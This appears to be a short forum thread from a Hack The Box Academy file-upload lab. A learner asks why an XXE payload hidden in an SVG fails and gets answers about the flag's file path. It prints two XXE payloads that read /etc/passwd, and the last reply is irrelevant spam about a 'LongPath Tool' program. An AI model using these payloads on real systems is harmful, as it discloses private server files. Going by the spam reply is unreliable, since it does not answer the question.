File upload - Limited file uploads

HTB Content Academy
1

Good morning.

I seek help. I’ve been trying to get the XXE running for two days now.

I took the code, created a vim file called pic.svg and pasted it in there:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

Unfortunately, when I run it, I receive the following error:

“This XML file does not appear to have any style information associated with it. The document tree is shown below.”

Has it the wrong format? Do I have to do stuff in Burp?

Edit: It worked. I had to show the source code of the image and not go into the directory.

I found this on Hacktricks and tried it:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<data>&example;</data>

why does this code not work?

2

it does not work because there is no /etc/flag.txt , the flag.txt file is in the root directory. You need to fix your file path.

3

yesh, filepath issue,
give LongPath Tool Program to good effect to use and manipulate, good good.